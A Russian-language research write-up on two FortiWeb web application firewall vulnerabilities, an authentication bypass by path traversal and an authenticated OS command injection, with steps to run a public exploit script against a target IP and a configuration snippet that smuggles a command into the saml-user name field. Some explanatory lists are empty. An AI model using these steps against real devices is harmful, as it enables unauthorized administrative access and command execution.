
Исследование безопасности уязвимостей Fortinet FortiWeb (CVE-2025-64446, CVE-2025-58034)
Fortinet FortiWeb — это межсетевой экран для веб-приложений (Web Application Firewall, WAF), широко развертываемый в корпоративных системах для защиты веб-приложений от распространенных угроз.
Поскольку FortiWeb обычно находится на центральном уровне защиты, уязвимости, связанные с аутентификацией или выполнением команд операционной системы, могут серьезно повлиять на всю инфраструктуру позади него. В 2025 году в FortiWeb были раскрыты две критические уязвимости:
CVE-2025-64446 – обход аутентификации через Relative Path Traversal
CVE-2025-58034 – OS Command Injection в аутентифицированном контексте
CVE-2025-64446 возникает из-за того, что FortiWeb недостаточно строго обрабатывает и проверяет путь доступа перед применением механизма аутентификации.
В частности:
Эта ошибка приводит к тому, что некоторые административные конечные точки (endpoint) могут быть доступны без надлежащей аутентификации.
CVE-2025-58034 возникает из-за небезопасной обработки FortiWeb пользовательских входных данных при вызове команд операционной системы.
Основные причины включают:
Данная уязвимость требует аутентифицированного контекста, но по-прежнему несет высокий уровень риска из-за возможности выполнения команд.
git clone https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034 cd CVE-2025-64446_CVE-2025-58034
Виртуальное окружение Python (venv) используется для создания независимой рабочей среды для каждого проекта, позволяя изолировать зависимости от основной системы Python. Это помогает избежать конфликтов версий библиотек, обеспечивает стабильность рабочей среды и снижает влияние на систему.
python3 -m venv venv source venv/bin/activate
pip install -r requirements.txt
python exploit.py <target_ip>

config user saml-user
edit "<YOUR COMMAND>"
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
Уязвимость CVE-2025-58034 возникает из-за того, что FortiWeb недостаточно строго контролирует входные данные в некоторых полях конфигурации, особенно в значении, передаваемом через команду: edit "" Проблема: Это значение обрабатывается как строка конфигурации Затем передается во внутренние команды операционной системы Недостаточно фильтруются или экранируются специальные символы Это приводит к тому, что данные конфигурации могут напрямую влиять на выполняемую команду операционной системы, вызывая ошибку OS Command Injection.